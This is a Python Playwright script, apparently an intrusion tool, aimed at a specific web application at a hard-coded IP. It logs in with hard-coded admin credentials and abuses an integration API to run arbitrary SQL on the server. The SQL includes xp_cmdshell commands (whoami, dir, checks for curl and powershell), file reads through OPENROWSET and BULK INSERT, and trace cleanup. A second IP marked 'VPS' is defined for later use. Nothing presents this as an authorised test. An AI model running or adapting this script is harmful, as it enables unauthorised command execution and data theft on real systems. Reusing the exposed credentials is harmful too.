#!/usr/bin/env python3
"""Critical test: does xp_cmdshell actually execute ANYTHING?
Compare: xp_cmdshell 'echo test > file' vs xp_cmdshell 'nonexistent_command_xyz'
Both should give different results if xp_cmdshell truly works."""
import asyncio, re
from playwright.async_api import async_playwright

IP = "74.208.83.171"
APP = "RTROGERSUAP1"
VPS = "45.9.2.197"

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        context = await browser.new_context()
        page = await context.new_page()

        for attempt in range(3):
            await page.goto(f"http://{IP}/{APP}/login", wait_until="commit", timeout=30000)
            await asyncio.sleep(5)
            try:
                await page.fill('input[name="Email"]', 'irelyadmin')
                await page.fill('input[name="Password"]', 'i21By2015')
                await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
                await asyncio.sleep(1)
                await page.evaluate('document.querySelector("form").submit()')
                await asyncio.sleep(15)
                try: await page.wait_for_load_state("networkidle", timeout=20000)
                except: pass
                if "login" not in page.url.lower() or "#home" in page.url:
                    break
            except Exception as e:
                print(f"  attempt {attempt+1}: {e}")
        else:
            print("Login failed"); await browser.close(); return
        print("Login OK")

        async def run_step(name, sql_text, step_type=1):
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strStepName:"Test", intStepTypeId:''' + str(step_type) + ''', intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, strTo:"t@t.com", strSubject:"T", strMessage:"<MESSAGE>", strPayloadType:"JSON", strAuthenticationType:"JWT", intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_text)
            if put['status'] not in (200, 202):
                return f"put_{put['status']}", ""
            await asyncio.sleep(3)
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + APP + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: 4}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            msg = re.search(r'"statusText"\s*:\s*"([^"]*)"', body)
            s = success.group(1) if success else "?"
            m = msg.group(1) if msg else ""
            print(f"    {name}: success={s} msg={m[:150]}", flush=True)
            await page.evaluate('''async () => {
                await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, strTo:null, strSubject:null, strMessage:null, strPayloadType:null, strAuthenticationType:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return s, m

        # Test 1: Simple SELECT (should work — proven before)
        print("\n=== Test 1: SELECT 1 (control) ===")
        await run_step("select1", "SELECT 1")
        await asyncio.sleep(2)

        # Test 2: xp_cmdshell WITHOUT no_output — write to temp
        print("\n=== Test 2: xp_cmdshell echo WITHOUT no_output ===")
        await run_step("echo_no_nooutput", "EXEC xp_cmdshell 'echo test123 > C:\\\\Windows\\\\Temp\\\\xp_test.txt'")
        await asyncio.sleep(2)

        # Test 3: Read the file via Send Mail — see if it was created
        print("\n=== Test 3: Read file via Send Mail ===")
        await run_step("read_file", "SELECT BulkColumn FROM OPENROWSET(BULK 'C:\\\\Windows\\\\Temp\\\\xp_test.txt', SINGLE_CLOB) AS t", step_type=9)
        await asyncio.sleep(2)

        # Test 4: xp_cmdshell 'whoami' WITHOUT no_output
        print("\n=== Test 4: xp_cmdshell whoami ===")
        await run_step("whoami", "EXEC xp_cmdshell 'whoami'")
        await asyncio.sleep(2)

        # Test 5: xp_cmdshell 'dir C:\Windows\Temp' — see if file exists
        print("\n=== Test 5: xp_cmdshell dir ===")
        await run_step("dir", "EXEC xp_cmdshell 'dir C:\\\\Windows\\\\Temp'")
        await asyncio.sleep(2)

        # Test 6: xp_cmdshell with nonexistent command
        print("\n=== Test 6: xp_cmdshell nonexistent command ===")
        await run_step("bad_cmd", "EXEC xp_cmdshell 'nonexistent_cmd_xyz_123'")
        await asyncio.sleep(2)

        # Test 7: Is xp_cmdshell even enabled?
        print("\n=== Test 7: Check xp_cmdshell enabled ===")
        await run_step("check_xp", "SELECT CONVERT(INT, ISNULL(OBJECTPROPERTY(EXEC('xp_cmdshell'), 'ExecIsStartup'), 0)) AS xp_enabled")
        await asyncio.sleep(2)

        # Test 8: sp_configure
        print("\n=== Test 8: sp_configure xp_cmdshell ===")
        await run_step("sp_configure", "EXEC sp_configure 'xp_cmdshell'")
        await asyncio.sleep(2)

        # Test 9: xp_cmdshell 'curl' — check if curl exists in PATH
        print("\n=== Test 9: where curl ===")
        await run_step("where_curl", "EXEC xp_cmdshell 'where curl 2>&1'")
        await asyncio.sleep(2)

        # Test 10: xp_cmdshell 'where powershell'
        print("\n=== Test 10: where powershell ===")
        await run_step("where_ps", "EXEC xp_cmdshell 'where powershell 2>&1'")
        await asyncio.sleep(2)

        # Test 11: Try writing to temp and reading back via BULK INSERT
        print("\n=== Test 11: Write + BULK INSERT + Send Mail ===")
        await run_step("write_file", "EXEC xp_cmdshell 'echo CONFIRMED > C:\\\\Windows\\\\Temp\\\\confirm.txt', no_output")
        await asyncio.sleep(2)
        s, m = await run_step("read_confirm", "CREATE TABLE ##t (line NVARCHAR(MAX)); BULK INSERT ##t FROM 'C:\\\\Windows\\\\Temp\\\\confirm.txt' WITH (ROWTERMINATOR='\\n'); SELECT line FROM ##t; DROP TABLE ##t", step_type=9)
        print(f"    content: {m}")
        await asyncio.sleep(2)

        # Cleanup
        print("\n=== Cleanup ===")
        await run_step("cleanup", "EXEC xp_cmdshell 'del C:\\\\Windows\\\\Temp\\\\xp_test.txt C:\\\\Windows\\\\Temp\\\\confirm.txt', no_output")

        await browser.close()

asyncio.run(main())
